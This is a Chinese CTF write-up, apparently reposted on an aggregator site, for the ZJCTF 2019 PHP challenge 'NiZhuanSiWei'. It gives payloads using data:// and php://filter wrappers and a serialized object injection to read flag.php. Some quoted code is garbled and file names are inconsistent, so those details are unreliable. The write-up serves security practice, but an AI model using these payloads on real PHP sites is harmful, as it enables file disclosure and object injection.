微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

2019NiZhuanSiWei

考点:PHP伪协议、

2019]NiZhuanSiWei

  • 考点:PHP伪协议、

  • 打开后是源码,拖到vscode里审计

  • 一个绕过点:

    if(isset(text,‘r’)===“welcome to the zjctf”))

  • 可以用data://写入协议

  • 所以第一个payload: ?text=data://text/plain,welcome to the zjctf

  • 接着审计,第二个绕过的地方是,这里会正则匹配flag

    if(preg_match("/flag/",$file)){ echo “Not Now!”; exit(); }

  • 所以不能用flag.PHP,file的传参里不能有flag,else里会包含unless.PHP,用filter看一下unless.PHP

  • 第二个payload:file=PHP://filter/read=convert.base64-encode/resource=useless.PHP

  • 把base64编码的文本解码查看unless.PHP内容

  • $file在这里根据提示就是flag.PHP,所以直接赋值,然后反序列化输出

  • O:4:“Flag”:1:{s:4:“file”;s:8:“flag.PHP”;}

  • 第三个payload:?text=data://text/plain,welcome to the zjctf&file=useless.PHP&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.PHP”;}

  • 然后在源码中就可以找到flag

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐